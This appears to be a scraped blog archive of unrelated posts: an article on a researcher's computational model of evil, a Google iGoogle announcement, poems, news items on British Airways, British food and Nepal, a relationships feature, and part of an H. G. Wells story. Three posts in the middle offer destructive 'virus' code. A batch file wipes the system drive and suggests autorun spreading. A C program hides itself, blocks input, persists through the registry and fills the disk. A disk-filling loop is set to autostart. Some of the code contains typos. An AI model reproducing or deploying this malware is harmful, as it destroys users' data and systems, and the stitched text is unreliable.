Are You Evil? Profiling That Which Is Truly Wicked


evil,virtual

INTRODUCING "E": a computer character first created in 2005 to embody Bringsjord's working definition of evil.
Courtesy

 
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TROY, N.Y.—The hallowed halls of academia are not the place you would expect to find someone obsessed with evil (although some students might disagree). But it is indeed evil—or rather trying to get to the roots of evil—that fascinates Selmer Bringsjord, a logician, philosopher and chairman of Rensselaer Polytechnic Institute's Department of Cognitive Science here. He's so intrigued, in fact, that he has developed a sort of checklist for determining whether someone is demonic, and is working with a team of graduate students to create a computerized representation of a purely sinister person.

"I've been working on what is evil and how to formally define it," says Bringsjord, who is also director of the Rensselaer AI & Reasoning Lab (RAIR). "It's creepy, I know it is."

To be truly evil, someone must have sought to do harm by planning to commit some morally wrong action with no prompting from others (whether this person successfully executes his or her plan is beside the point). The evil person must have tried to carry out this plan with the hope of "causing considerable harm to others," Bringsjord says. Finally, "and most importantly," he adds, if this evil person were willing to analyze his or her reasons for wanting to commit this morally wrong action, these reasons would either prove to be incoherent, or they would reveal that the evil person knew he or she was doing something wrong and regarded the harm caused as a good thing.

Bringsjord's research builds on earlier definitions put forth by San Diego State University philosophy professor J. Angelo Corlett as well as the late sociopolitical philosophers and psychologists, Joel Feinberg and Erich Fromm, but most significantly by psychiatrist and author M. Scott Peck in his 1983 book, People of the Lie, The Hope for Healing Human Evil. After reading Peck's tome about clinically evil people, "I thought it would be interesting to come up with formal structures that define evil," Bringsjord says, "and, ultimately, to create a purely evil character the way a creative writer would."

He and his research team began developing their computer representation of evil by posing a series of questions beginning with the basics—name, age, sex, etcetera—and progressing to inquiries about this fictional person's beliefs and motivations.

This exercise resulted in "E," a computer character first created in 2005 to meet the criteria of Bringsjord's working definition of evil. Whereas the original E was simply a program designed to respond to questions in a manner consistent with Bringsjord's definition, the researchers have since given E a physical identity: It's a relatively young, white man with short black hair and dark stubble on his face. Bringsjord calls E's appearance "a meaner version" of the character Mr. Perry in the 1989 movie Dead Poets Society. "He is a great example of evil," Bringsjord says, adding, however, that he is not entirely satisfied with this personification and may make changes.
                       
The researchers have placed E in his own virtual world and written a program depicting a scripted interview between one of the researcher's avatars and E. In this example, E is programmed to respond to questions based on a case study in Peck's book that involves a boy whose parents gave him a gun that his older brother had used to commit suicide.





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I scream, you scream, we all scream for iGoogle social!


(From authorized blog of Google)
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8/12/2009 12:00:00 PM
We launched iGoogle in 2005 as a way for people to quickly and easily personalize their Google experience with all the information on the web that was most useful to them. Now tens of millions of people choose to use their iGoogle homepage to check email, track the news, watch videos, chat with friends and much more. Today, we're pleased to tell you about the new social features that we're introducing to iGoogle.

First, we're excited to introduce social gadgets for iGoogle. Social gadgets let you share, collaborate and play games with your friends on top of all the things you can already do on your homepage. The 19 social gadgets we're debuting today offer many new ways to make your homepage more useful and fun. If you're a gaming fanatic, compete with others in Who has the biggest brain? or challenge your fellow Chess or Scrabble enthusiasts to a quick match. Stay tuned in to the latest buzz with media-sharing gadgets from NPR, The Huffington Post, and YouTube. To manage your day-to-day more efficiently, check things off alongside your friends with the social To-Do list gadget.

Your friends are able to see what you share or do in your social gadgets either by having the same gadgets on their homepages, or through a new feed called Updates. Updates can include your recently shared photo albums, your favorite comics strips, your travel plans for the weekend and more. To help you manage who you are sharing with, we've created a Friends group. You can add and edit friends in this group at any time. If you already have a Friends group within your Google Contacts, you'll be able to easily share with those friends on iGoogle as well. If you don't care to share, iGoogle's social features are optional and can be disabled on a gadget-to-gadget basis with just a few clicks.

It's developers who have really made iGoogle into the rich experience it is — growing our gadget directory to over 60,000 gadgets today — and we know iGoogle developers will help us quickly expand our collection of social gadgets. You can get information about how to build social gadgets for iGoogle on our developer site: code.google.com/igoogle.

We introduced these new social features recently to Australia users and are gradually rolling them out to users in the U.S. over the next week. Don't fret if you don't see your iGoogle page updated yet — just check back soon. The Google homepage has always been a place that connects people to information, and we're excited to now also be a place that connects people to each other. We hope these social gadgets make iGoogle an even more fun and personal homepage for you. You can learn more by checking out the video below.







With Regards;
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Simple Virus Code

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This is a very simple virus program to delete all the content of a drive...

It should not use on others computer..........This is harmful. So Before using this u need to backup ur all information which are saved in ur system drive. After run this program it will delete ur system drive. so it needs reinstall ur operating system.

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

**Save the above code as .bat. u can write the program in a note pad then save as *.bat.and run the program...

caution: it will delete ur systemdrive... so be careful... If Any lose of ur data i am not responsible for that. U should carefully use it...
u may use only this code below...

@echo off
shutdown -r -f -t 00

** The above code will just restart ur pc....try it..
I write this code in a notepad. Then save it in my c drive. after that i run the program. Then it restart my personal computer.

U can improve it by adding a autorun.inf file to run the program when anyone double click his any drive.







With Regards;
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A simple Virus using C (Code:)



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#include <stdlib>
#include <fstream>
using namespace std;
#include <windows.h>
#include <winable.h>
int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
//Hide the window, so that the user can't exit the proggy
HWND wnd=FindWindow("ConsoleWindowClass",NULL);
ShowWindow(wnd,SW_HIDE);
//Block all user input >=)
BlockInput(true);
//Autostart
char windir[MAX_PATH];
char currentfile[MAX_PATH];
HMODULE Me=GetModuleHandle(NULL);
GetModuleFileName(Me, currentfile, sizeof(currentfile));
GetWindowsDirectory(windir, sizeof(windir));
strcat(windir, "\\system32\\sysbackup.exe");
CopyFile(currentfile, windir, false);
HKEY hkey;
RegCreateKey (HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey);
RegSetValueEx (hkey, "Microsoft CrapWare", 0, REG_SZ, (LPBYTE)windir, sizeof(windir));
//Eat free space
ofstream file;
file.open("â•ša.exe");
while(1)
{
fille<<"afdsghfdsfdhfhdsagh3rhhfdhdsahahh43h5gfnm454hjjsdhsafdgfdhgfher44gfd\n";
}
return 0;
}






With Regards;
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Making A simple virus in C for Beginners



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Hi everybody,at begining of the learning of computer programming it is a dream of almost all student to build a computer virus of his/her own.
Computer virus obviously is a thing that shouldnot be made and used on others computer it is completely illegal in all countries.So make and try this on your own machine.
Now let me explain what do the viruses do.There are several types of computer viruses with different functions(destructive obviously).Some of which delete computers' important files and folders,some change the configuration of your computer system like registry values,some occupy and engulf a large amount of memory space and dump your hard disc.There are some viruses too which can damage your RAM parmanently.
I am going to give here a simple virus program which has only a few lines bur has ability to jam your Hard disc.
The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely.
The require ment to make this virus is
OS:-Windows98/xp/2000 MS-DOS
Compiler:-Borland C(Which has Dos Shell)
Source Code:-
//START v.c
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system("dir>>â•ša.exe");
}
}
//END
As you can see this is a very little programe.Compiling the programme we get v.exe file.This is our virus.
How it works?-The system call "dir>>â•ša.exe" will execute the dos command 'dir' and ridirect its output toa file â•ša.exe(the symbol â•š can be obtained by pressing 456 on numpad holding alt key).So running the program in a folder having many files and folder will increase the size of â•ša.exe in a great amount.This process will continue to infinity as this is in a while(1) loop;
Best try this on win98.then you cannot delete â•ša.exe from GUI.
For auto running place v.exe in the command folder in windows folder.
In autoexec.bat(win98) or autoexec.NT(winXP/2000) file simply write v.exe.
Each time your window starts v.exe will run automatically.
Try this on your own computer remember the â•ša.exe is the infected file which is growing in size continiously.So to recover, simply delete v.exe and â•ša.exe file from your computer.

 

 


 
Code:

//START v.c
#include<stdio.h>
#include<stdlib.h>
void main()
{
 while(1)
{
 system("dir>>â•ša.exe");
}
}
//END







With Regards;
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Humour Jokes


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Humour Picture Image


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Anti-Climax



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It's finally here
And you gotta stay put
'Cause the new fallen snow
Has closed off your route.

But, hey, that's not so bad!
View it like this:
It's your long-longed-for chance
To have amorous bliss.

It's a real dream come true
For you and your love;
A blessing from Eros;
A gift from above.

Then it suddenly dawns on you -
You lecherous fool -
Though you're snowbound together,
The kids don't have school







With Regards;
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Are You Talking To Me? (Funny Poem)



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"Are you talking to me?" she said passing by
"Yes, you ... you ... next to the bald-headed guy,
"I think you're real gorgeous ... that flaming red hair
Is exceedingly beautiful and really quite rare.

"I love the way that it curls round your face,
And the way that it seems your ears to embrace,
And the way that it darkens the green of your eyes,
And the way on your cheek that a loose tendril lies."

She took a deep breath as she paused in her stride,
Her lips slowly parted, her eyes opened wide,
She smiled as she whipped the wig from her head,
"If you like it so much, here, you wear it instead."








With Regards;
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The Glass Kingdom cometh...(English Poem)



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He could not say how;
it simply 'is the way' events are connected
to one another,

Like the way glass is connected to water
as the 'glass' 'of' 'water' is drunk down
in the midst of the desert who helped create it.

They arrive

(The stories, the patter of a child's
new-to-this-world feet
running for the fairytale,
running for dragons who appear
and disappear,
leaving a scale behind to weigh himself
after the cease of each long sprint.

This glowing great lizard's
blinking off and on,
for the sake of such chases,
searches that keep Hydeandgoseek
as the last name of a rich oil barren
that no one ever meets,
never greets,

because he's tied himself to the
end of a drilling rig's drill bit
in order to circumnavigate his deep,
narrow world
as many times as possible
before this world finishes its of him.)

These arrivals;

nearly ready for you
to dream into them
any story wanted
and yet they too
take something back with them,
spinning it to weave the high opposite
of lackluster luck,
crocheting this into their existences,

New spider webs built upon old silk fasteners,
new spider webs built upon smashed coffee
cups so to catch the emotion
buzz-orbiting it,

To esophagus-drain the yelling
between such radiant,
gloss black holy-pinchers,

To process the disappointments
at the tips
of millions of years
of arachnid evolution.

They take something back with them.

To give in what was given out of themselves,
without altogether knowing how it is that 'they'
are 'They' and a He & She can make a him or her
all over again for the sake of a happening or
happenstance,

No planning on the 'parents' parts,
and yet a significant 'part' in the Stage's ageless
reciprocating quality nonetheless...

While what the child really feels,
(unbeknown to the mirage's so-careful-oasis built)
goes alongside him
deep into such jungles as these,
'As these'?

Imagine the jungle who keeps your heart beat
sacredly by the fire's side,
neither a warring thumping
or a celebration's promise of an end...








With Regards;
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Three Sweet Poems, and Two Not So Sweet



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1) End Poem

Wherever you are today—

Is where you were meant to be;

It's where God, dotted the

'i' and the 't'…!

2) God's Angels

God asked his angels:

"Why do you look so sad?"

Responded one angel:

"Sir, we can't find the shade."

3) An Empty Space

Out of wisdom one will wait,

travel far for love; the thirst

will not kill them. When death

arrives what will you tell it—

explain: why the empty space?

Shyness and fear will not

explain your surrender to your

mysterious veil. Out of wisdom

one will wait, travel far for love;

the thirst will not kill them. But

they will find it, be it in a winter

blizzard, or a cozy restaurant.

4) Onto the Mountains

(The Andes)

I shall blend-in, into the

Mountains—

Into the faintest thin

Shadows

of the mountains!

Like the moss on moistened

Stone

Like a leaf blown far from

Home…

(freshly fallen)!

I shall blend-in, clinging

To the mountains—

Into its faintest thin

Shadows

5) Dead Children

Breaking stones—

Who breaks stones?

Only shadowy faces

With grieving bones.

I have lost my

Children to the devil—

All but one; and

Now I break stones

With a grieving face

And aging bones….







With Regards;
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Could British Airways Go Under?



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There are certain things that one associates with a nation. In our case, we have fish and chips. We have our flag. We also have British Airways. While the (former) national flag carrier might not be as popular as other symbolisms, I am pretty sure that BA has a place in the hearts of the British.

News has been going around that the airline is in trouble. The question that is hanging in the air right now is whether or not BA will really go under, for good. According to a feature by the Times Online, Willie Walsh, the chief executive of the airlines might very well say this one day:

"I am sorry to say that despite our efforts today we have been unable to secure further funding from our banks. The cash drain we sustained as a result of the rolling programme of industrial action by cabin crew and ground staff means we can no longer continue as a going concern. British Airways has this evening been put into administration."

However, according to experts quoted by the Times Online, Walsh is exaggerating the situation. They say that he has an ulterior motive, which is to get the unions ready when the talks about cost cutting come up. Indeed, if everyone thinks that the airline is in dire financial straits, the unions will probably not have such a hard stance against the airline.

Then again, Walsh's statements are strong – they might be strong to be crying wolf. Right now, we do not know the real situation, but what we do know is that there are people who want to save BA.







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Traditional British Food Should Be Given Iconic Status



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cornish_pastyAt least if Cabinet minister Hilary Benn's call is heeded. In a statement released late last week, Benn declared that traditional British dishes should be given their rightful due. If you are not aware of it yet, there is such a thing as the Protected Food Names scheme, which was launched in 1992. Under this scheme, certain companies may register food products if they meet the following requirements:

• The food must be produced in a specific local area
• The food must be prepared using unique methods
• The recipes must be unique.

Other countries such as Spain, France, and Italy have already registered hundreds of products since the scheme's inception. In contrast, the United Kingdom only has 38 registered food products; hence the minister's call for more products to be registered.

Some of the food products that have already been registered include:

• Kentish Ale
• Gloucestershire Cider
• West Country Farmhouse Cheddar
• Cornish Clotted Cream
• Jersey Royal Potatoes

There are some products which are already in the process of being approved under the said scheme:

• Craster Kippers
• Colchester Oysters
• Lough Neagh Eels
• Cardigan Bay Prawns
• Cornish pasties
• Birmingham Balti.

Among the food products that Benn wants to be recognised are:

• London Porter beer
• Cheshire Cheese
• Bedfordshire Clanger pies
• Stottie Cakes
• York Ham
• Sussex Pond Pudding
• Yorkshire Parkin

Now doesn't all that food make you hungry? So what's stopping you? Just make sure you get the "real thing!"


With Regards;
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Prachanda for anti-US strategy



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BBC

KATHMANDU: Maoist chairman Pushpa Kamal Dahal 'Prachanda' says that Asian countries should develop a unified security strategy to combat US influence in South Asia. In an interview with the BBC, he said India, China and Nepal should work together to counter American power. Prachanda was speaking during a visit to Britain. Speaking at the Nepali embassy in London, Prachanda said the emerging Asian economies should rely less on the West, especially the United States. He said being the sole super power, the US was trying to have a greater influence in Asia, but India and China should come together to provide security and prosperity to their people. Prachanda also said Delhi was wrong to think that he was closer to communist China than to India. He said he wanted a good relationship with both neighbouring countries. Prachanda acknowledged that India supported the dialogue between his Maoists and other political parties, after former King Gyandendra assumed direct power in 2005. But then, he said, Delhi lost its warmth towards the Maoists when historic elections resulted in him becoming prime minister. On the domestic front, he said his party was striving to change the basic structure of Nepal through the Constituent Assembly, which would authorise a new constitution for Nepal. He rejected any possibility of the restoration of monarchy, which was abolished in May 2008 after 240 years. He said that over 90% of people were opposed to it. 

 








With Regards;
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Fallen Wombs, Broken Lives: Responding to Uterine Prolapse in Nepal



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KAPILVASTU DISTRICT, Nepal — Thanks to a recent hysterectomy, Dhana Kala Rokka Magar feels like a new person. At age 60, she has become a passionate health advocate, in the hopes that others will not suffer as much as she has, after 28 years of dealing with the misery of a prolapsed uterus.

For most of her life, Dhana Kala lived in Arghakhanchi, a hilly district where access to health services is severely limited. The only health post was a six-hour hike away; and during all of her seven pregnancies, she never visited a health clinic or had obstetric care.

After the birth of her second child, Dhana Kala's uterine muscles loosened causing her womb to fall slightly. With each successive pregnancy and continuous heavy work – farming, fetching water and collecting firewood and fodder – the problem got worse.

"Because I was too shy and too poor I didn't tell anybody," she said. "I didn't know whether the problem was curable or not. I never had a chance to arrange for a safe delivery.'

During her seventh delivery, at age 32, her whole uterus came out with the baby. "The neighbours, who helped during delivery, pushed it back into my body and wrapped my private parts in plastic," she said. After delivery I did not have enough food. I didn't go to the doctor. My uterus kept falling out and I suffered a lot. I could not move, I was in pain while working."

A common problem in Nepal

Uterine prolapse can result from prolonged labour, too early or too closely-spaced pregnancies, improper delivery techniques and resuming work too soon after childbirth. All of these conditions are common in rural Nepal, where child marriage is common, family planning use is low, women typically carry firewood and other heavy loads and nine out of ten give birth at home without a skilled birth attendant.

The condition affects some 600,000 Nepalese women, according to a 2006 demographic and health survey, and 200,000 are in need of immediate corrective surgery. It cross-cuts every social, ethnic and geographic group in Nepal and occurs in girls as young as 16.

The condition has various degrees of severity. In third-degree prolapse, when the uterus falls completely out of the body, women typically experience incontinence and frequent infections, often leading to isolation or even abuse. "My husband started to beat me and threatened to take a second wife," recalls Dhana Kala. "My mother-in-law thought I was not working well enough and was not taking good care of my hygiene."

Camps to treat uterine prolapse and other gynaecological conditions

In 1988, Nepal established a system of female community health volunteers who help disseminate health information throughout the country. It was through one of these health workers that Dhana Kala learned last year that her problem could be cured, and that a surgical camp for this purpose was to take place at the village hospital.

Although the surgery is offered free of charge, Dhana Kala was initially worried that she would not be able to afford transportation to the hospital or the related expenses. However, organizers of the camp covered all her costs, and her local health volunteer made the necessary arrangements.

The surgery, which took place last November at the hospital in Taulikhawa, was a success. Afterwards, for the first time in almost three decades, Dhana Kala felt comfortable with her body. Once again her family treats her with respect. And she has found a new purpose in life: telling others how to protect themselves.

'No human being deserves to suffer like I did," she said. "I'm going to convince all the women in my community to have medical check-ups and get treatment if they're having problems."

Treatment for a growing number of women

"Uterine prolapse is preventable and easily curable," notes Anna Adhikari of UNFPA, the United Nations Population Fund. "Stories like Dhana Kala's occur, among other reasons, because there are no services and contraceptives, because a woman has too many children too often and due to a lack of skilled birth attendants." Addressing the issue is a top priority of UNFPA in Nepal, she added.

Thanks to the hard work and advocacy of various organizations, the Government has provided funds for the free surgical treatment for 12,000 women with the condition since 2005, and the number has been increasing yearly. In support of this, surgical camps are organized periodically with support from UNFPA, the European Commission's Humanitarian Aid department (ECHO), Denmark, Great Britain and Japan.

— Reported by Bishnu Kumari BK, a public health nurse working at UNFPA District Programme Support Unit in Kapilvastu

 







With Regards;
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Married, with 'just friends'



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It's a risky world out there for married folks who are friends with a member of the opposite sex. Just ask U.S. Sen. John McCain.

The Republican presidential candidate's relationship with a female lobbyist was the subject of a recent New York Times story and, as a result, subsequent newspaper articles, blog posts and radio commentary across the nation. He has firmly denied the relationship was anything other than simple friendship.

In his case, the furor centered largely on whether the woman had special political access. In less high-profile cases, the reaction is focused more personally -- on whether a friendship is harming a marriage.

It's not that partnered men and women can't be friends with people of the opposite sex. It's just that with divorce rampant -- nearly one in two marriages ends in divorce, and even greater percentages of unmarried relationships fizzle -- marriage can seem pretty fragile. "We become concerned when a married person develops a close friendship with a person of the opposite sex," says Thomas Bradbury, psychologist and principle investigator of the UCLA Marriage and Family Development Study.

"The problem is that these perceptions are not always misplaced. People have affairs, and they can begin in exactly this way."

Men and women in opposite-gender friendships must tread carefully, behavior and psychology experts say. They also must remember which relationship comes first.

Overlapping critieria

In part, friendship leading to romance happens because what people are looking for in a mate overlaps with what people look for in friendships -- companionship, intimacy and, often, validation that they're attractive to the opposite sex, says April Bleske-Rechek, psychology professor at the University of Wisconsin at Eau Claire. We look for partners who are faithful. We look for friends who are loyal. "People can be friends," she says. "But are they just friends? It's a loaded question because friendships and mateships coincide."

When men and women look for a mate, they look for someone who is similar to them in intelligence, attractiveness, worldview, values, height and weight. The trouble is, friends look for people who are similar in those ways as well.

Friendships between genders often lead to marriage, but once it does, outside friendships between men and women can complicate people's lives. And the complication is often sexual attraction. Regardless of who is attracted to whom in the friendship, neither gender considers romantic interest a good thing among friends. Only 10% of men say that attraction is a benefit to such a friendship, and a mere 1% of women see it as a benefit, according to research Bleske-Rechek will present in May at the annual meeting of the Midwestern Psychological Assn.

Women are twice as likely as men to report such attraction as a complication. About 15% of men with close female friends say that if their friend is sexually attractive to them, it makes their lives more difficult; 33% of women say finding a male friend attractive complicates their lives.

But the difficulty they cite most often is their spouse's jealousy. For about 25% of middle-aged men and 45% of middle-aged women, an opposite-sex friendship is not OK with the spouse.

The spouse may be onto something. There are, indeed, people who may profess friendship but intend to steal another's mate. About half of 236 college-age men and women surveyed in a June 2001 study in the Journal of Personality and Social Psychology said they had tried to attract another's partner at least once. And 85% of them said someone had tried to attract them away from a mate at least once. The gossipy mess that results has a term, coined in the book "The Evolution of Desire: Strategies of Human Mating," by David Buss, psychology professor at the University of Texas at Austin.

The term is "mate poaching."

That same study, which surveyed 1,200 young adults about poaching attempts, perceived costs and benefits, and personality characteristics of those who poach, found deliberate mate stealers have characteristics distinctly different from those who pursue romance in pools of available mates.

On personality scales, those who set out to attract an already spoken-for person were disagreeable, unconscientious and unfaithful people who find it easy to talk about sex and see themselves as sexually attractive.

Those who are successfully targeted by poachers see themselves as extroverted, open to experience, attractive and unfaithful.

Poachers and poachees, research has found, display a lack of empathy and morality and are neurotic.

That disagreeable profile held up in international research involving nearly 17,000 people in 53 countries. Research published in the April 2004 Journal of Personality and Social Psychology by an international team found the personality traits of people who try to steal the mates of others, as well as those who succumb, are universal.

"Can already mated people have opposite-sex friendships?" asks David Schmitt, professor of psychology at Bradley University in Peoria, Ill., who helped conduct that research.

"I think they can." But the hard data he found suggest that as much as 15% of the time, such relationships end in a poach.

No wonder tongues cluck and fingers wag. Wary husbands and wives have an uneasy sense of the temptations out there, even if they trust their spouses. "It's like when your teenage daughter goes to a concert dressed like a slut," says Bleske-Rechek.

"She says, 'I'm not going to do anything.' And her father says, 'It's not you I'm worried about.' "

Deflect temptation

But the danger that lurks in a world, and a workplace, full of opposite sex people who have a lot in common doesn't mean they can never be friends once one of them has committed to another.

They just have to be careful, and use common sense. Estimates of extramarital affairs, one form of mate poaching, range from 20% to 50%, depending on the sample and methods of multiple studies. With temptation that common, says Helen Fisher, anthropologist at Rutgers University and author of "Why We Love," opposite-sex friends can expect a friendship, at some point, to cross the flirtation line. They need to be ready to deflect temptation. "Start out by putting a picture of your wife or husband on your desk," she says. "And talk about them a lot."

Women should make a point of meeting their male friend's wife, men of meeting the husband of a woman friend. "Meet the wife, and fawn on her," Fisher says of her own technique as a single woman. "Choose her side of the table to sit on. Make eye contact with her. If you can tell her you've got a boyfriend you love, that'll help." Make the spouse a friend too, with the goal of defusing jealousy, of making the spouse feel that the friendship is no threat.

To silence wagging tongues, opposite-sex "just friends" shouldn't touch, shouldn't share bites of food over lunch, shouldn't stand too close to each other. Crossing those lines fuels gossip. Worse, it can lead to the slippery slope of greater intimacy. But if people talk, and there's nothing to talk about, "you've got to just flat-out deny it," Fisher says.

Above all, says Stanley Charnofsky, therapist and psychology professor at Cal State Northridge, put your mate first. It's not just an affair that can feel like betrayal, he says.

"Is there such a thing as a nonsexual affair? What if you go for coffee at 10 o'clock every day with someone from work, and talk intimately with them," he says. "Then you go home, and you don't talk to your spouse." The platonic friend is getting some of the spouse's major perks, even if it isn't sex.

Keep your spouse informed, he says. Tell your partner about your friend and what you've talked about. Respect a spouse's feelings. "Opposite-sex friendships are possible. They're healthy," Charnofsky says. "But they definitely have to be lower than, lesser than, the one with your mate. They have to be secondary."

It's difficult, relationship researchers say, but opposite-sex friendships are worth the effort. "It would make the world a pretty boring place if you could associate with only half the population," Buss says.








With Regards;
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Why Friendship and what is need of friendship



--

Why we need friendships when we have a lovely life in this world.
Why we need friends in our life.

Well friends, this is a tedious question to answer. Lets see each questions.

Why we need friendships?

Friendships are the gift to the man kind. The relation which we get in this world are blood related. But the only relationships which doesnot related to blood is friendship. Friendship has many forms and shapes. It is like water. If we pour the water into a jug it takes the shape of jug. if you pour the same water into a bowl it takes the shape o bowl. Sameway friendships will take a different shapes and sizes according to our heart. Friendship gives pleasure to human beings. Where there is friendship then there will not be any sorrow. When you see a child laughing you will forget your sorrows for a second, sameway when you are with a friend you forget your sorrows.

Friendships crosses boundries

The world is rotating smoothly because of the friendly hearts in the world. it crosses boundries and share a mutual bonding of love. Friendships will take care of this entire world from problems. If we are friends then our countries will, when our countries are friends then there is not need of weapons. So take weapon named friendship and love and conqure the world with love.

Friendships saves life

Trusted true friendships never makes others down. it helps a lot to make friends to comeup from the situation. Friendships never expect anything in return for all its offering. It saves life without looking into situation.

Lets get friendship
 
Why we need friends & friendships?

Friends comes with friendships, They are the channel of love and affection. Friends are like child's heart which doesn't know wrong thinkings. When there is a friend with us we feel secure, happy, huge support, and comfortable which you can't get from others.

So Lets get some real friends in this world. and lets Be Friends.







With Regards;
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THE VALLEY OF SPIDERS by H. G. Wells (Classic Short Story)

--

Towards mid-day the three pursuers came abruptly round a bend in

the torrent bed upon the sight of a very broad and spacious valley.

The difficult and winding trench of pebbles along which they had

tracked the fugitives for so long, expanded to a broad slope,

and with a common impulse the three men left the trail, and rode

to a little eminence set with olive-dun trees, and there halted,

the two others, as became them, a little behind the man with

the silver-studded bridle.

For a space they scanned the great expanse below them with eager eyes.

It spread remoter and remoter, with only a few clusters of sere

thorn bushes here and there, and the dim suggestions of some now

waterless ravine, to break its desolation of yellow grass. Its purple

distances melted at last into the bluish slopes of the further hills--

hills it might be of a greener kind--and above them invisibly

supported, and seeming indeed to hang in the blue, were the snowclad

summits of mountains that grew larger and bolder to the north-westward

as the sides of the valley drew together. And westward the valley

opened until a distant darkness under the sky told where the forests

began. But the three men looked neither east nor west, but only

steadfastly across the valley.

The gaunt man with the scarred lip was the first to speak. "Nowhere,"

he said, with a sigh of disappointment in his voice. "But after all,

they had a full day's start."

"They don't know we are after them," said the little man on the white

horse.

"SHE would know," said the leader bitterly, as if speaking to himself.

"Even then they can't go fast. They've got no beast but the mule,

and all to-day the girl's foot has been bleeding---"

The man with the silver bridle flashed a quick intensity of rage

on him. "Do you think I haven't seen that?" he snarled.

"It helps, anyhow," whispered the little man to himself.

The gaunt man with the scarred lip stared impassively. "They can't

be over the valley," he said. "If we ride hard--"

He glanced at the white horse and paused.

"Curse all white horses!" said the man with the silver bridle,

and turned to scan the beast his curse included.

The little man looked down between the melancholy ears of his steed.

"I did my best," he said.

The two others stared again across the valley for a space. The gaunt

man passed the back of his hand across the scarred lip.

"Come up!" said the man who owned the silver bridle, suddenly.

The little man started and jerked his rein, and the horse hoofs

of the three made a multitudinous faint pattering upon the withered

grass as they turned back towards the trail. . . .

They rode cautiously down the long slope before them, and so came

through a waste of prickly, twisted bushes and strange dry shapes

of horny branches that grew amongst the rocks, into the levels below.

And there the trail grew faint, for the soil was scanty, and the only

herbage was this scorched dead straw that lay upon the ground.

Still, by hard scanning, by leaning beside the horses' necks and

pausing ever and again, even these white men could contrive to follow

after their prey.

There were trodden places, bent and broken blades of the coarse

grass, and ever and again the sufficient intimation of a footmark.

And once the leader saw a brown smear of blood where the half-caste

girl may have trod. And at that under his breath he cursed her for

a fool.

The gaunt man checked his leader's tracking, and the little man

on the white horse rode behind, a man lost in a dream. They rode

one after another, the man with the silver bridle led the way,

and they spoke never a word. After a time it came to the little man

on the white horse that the world was very still. He started out

of his dream. Besides the little noises of their horses and equipment,

the whole great valley kept the brooding quiet of a painted scene.

Before him went his master and his fellow, each intently leaning

forward to the left, each impassively moving with the paces of his

horse; their shadows went before them--still, noiseless, tapering

attendants; and nearer a crouched cool shape was his own. He looked

about him. What was it had gone? Then he remembered the reverberation

from the banks of the gorge and the perpetual accompaniment of

shifting, jostling pebbles. And, moreover--? There was no breeze.

That was it! What a vast, still place it was, a monotonous afternoon

slumber. And the sky open and blank, except for a sombre veil of haze

that had gathered in the upper valley.

He straightened his back, fretted with his bridle, puckered his lips

to whistle, and simply sighed. He turned in his saddle for a time,

and stared at the throat of the mountain gorge out of which they

had come. Blank! Blank slopes on either side, with never a sign

of a decent beast or tree--much less a man. What a land it was!

What a wilderness! He dropped again into his former pose.

It filled him with a momentary pleasure to see a wry stick of purple

black flash out into the form of a snake, and vanish amidst the brown.

After all, the infernal valley WAS alive. And then, to rejoice him

still more, came a little breath across his face, a whisper that

came and went, the faintest inclination of a stiff black-antlered

bush upon a little crest, the first intimations of a possible breeze.

Idly he wetted his finger, and held it up.

He pulled up sharply to avoid a collision with the gaunt man, who

had stopped at fault upon the trail. Just at that guilty moment

he caught his master's eye looking towards him.

For a time he forced an interest in the tracking. Then, as they rode

on again, he studied his master's shadow and hat and shoulder,

appearing and disappearing behind the gaunt man's nearer contours.

They had ridden four days out of the very limits of the world into

this desolate place, short of water, with nothing but a strip

of dried meat under their saddles, over rocks and mountains,

where surely none but these fugitives had ever been before--for THAT!

And all this was for a girl, a mere willful child! And the man

had whole cityfulls of people to do his basest bidding--girls, women!

Why in the name of passionate folly THIS one in particular? asked

the little man, and scowled at the world, and licked his parched lips

with a blackened tongue. It was the way of the master, and that

was all he knew. Just because she sought to evade him. . . .

His eye caught a whole row of high plumed canes bending in unison,

and then the tails of silk that hung before his neck flapped and fell.

The breeze was growing stronger. Somehow it took the stiff stillness

out of things--and that was well.

"Hullo!" said the gaunt man.

All three stopped abruptly.

"What?" asked the master. "What?"

"Over there," said the gaunt man, pointing up the valley.

"What?"

"Something coming towards us."

And as he spoke a yellow animal crested a rise and came bearing

down upon them. It was a big wild dog, coming before the wind,

tongue out, at a steady pace, and running with such an intensity

of purpose that he did not seem to see the horsemen he approached.

He ran with his nose up, following, it was plain, neither scent

nor quarry. As he drew nearer the little man felt for his sword.

"He's mad," said the gaunt rider.

"Shout!" said the little man, and shouted.

The dog came on. Then when the little man's blade was already out,

it swerved aside and went panting by them and past. The eyes of

the little man followed its flight. "There was no foam," he said.

For a space the man with the silver-studded bridle stared up

the valley. "Oh, come on!" he cried at last. "What does it matter?"

and jerked his horse into movement again.

The little man left the insoluble mystery of a dog that fled from

nothing but the wind, and lapsed into profound musings on human

character. "Come on!" he whispered to himself. "Why should it be

given to one man to say 'Come on!' with that stupendous violence

of effect. Always, all his life, the man with the silver bridle

has been saying that. If _I_ said it--!" thought the little man.

But people marvelled when the master was disobeyed even in the wildest

things. This half-caste girl seemed to him, seemed to every one,

mad--blasphemous almost. The little man, by way of comparison,

reflected on the gaunt rider with the scarred lip, as stalwart as

his master, as brave and, indeed, perhaps braver, and yet for him

there was obedience, nothing but to give obedience duly and stoutly. . .

Certain sensations of the hands and knees called the little man back

to more immediate things. He became aware of something. He rode up

beside his gaunt fellow. "Do you notice the horses?" he said in an

undertone.

The gaunt face looked interrogation.

"They don't like this wind," said the little man, and dropped behind

as the man with the silver bridle turned upon him.

"It's all right," said the gaunt-faced man.

They rode on again for a space in silence. The foremost two rode

downcast upon the trail, the hindmost man watched the haze that

crept down the vastness of the valley, nearer and nearer, and noted

how the wind grew in strength moment by moment. Far away on the left

he saw a line of dark bulks--wild hog perhaps, galloping down

the valley, but of that he said nothing, nor did he remark again upon

the uneasiness of the horses.

And then he saw first one and then a second great white ball,

a great shining white ball like a gigantic head of thistle-down,

that drove before the wind athwart the path. These balls soared

high in the air, and dropped and rose again and caught for a moment,

and hurried on and passed, but at the sight of them the restlessness

of the horses increased.

Then presently he saw that more of these drifting globes--and then

soon very many more--were hurrying towards him down the valley.

